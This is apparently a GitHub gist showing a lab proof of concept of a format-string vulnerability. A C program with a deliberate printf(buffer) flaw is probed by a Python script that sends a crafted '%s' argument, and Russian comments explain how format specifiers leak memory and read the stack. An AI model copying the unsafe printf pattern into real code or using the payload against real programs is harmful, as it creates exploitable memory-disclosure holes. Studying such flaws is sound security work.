Last active
June 26, 2019 14:39
-
-
Save v14dislav/fe2d389e663ba530faa960b496331acf to your computer and use it in GitHub Desktop.
Format (printf) vulner
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| arg= "\x79\x01\x43\x77%s" | |
| cmdline = "C:\\Users\\designer\\Desktop\\printf\\src.exe {}".format(arg) | |
| import binascii | |
| import subprocess | |
| output = subprocess.check_output(cmdline, shell=True) | |
| output = binascii.b2a_hex(output) | |
| print output | |
| # через питон вызывается .exe с аргументами. через %s можно сливать память (код и данные) до 0x00, потом отступить и сливать дальше | |
| # %d, %p, %08x могут читать стек | |
| // src.c | |
| #include <stdio.h> | |
| int main(int argc, char** argv) { | |
| char buffer[40]; | |
| strncpy(buffer, argv[1], 40); | |
| printf(buffer); | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment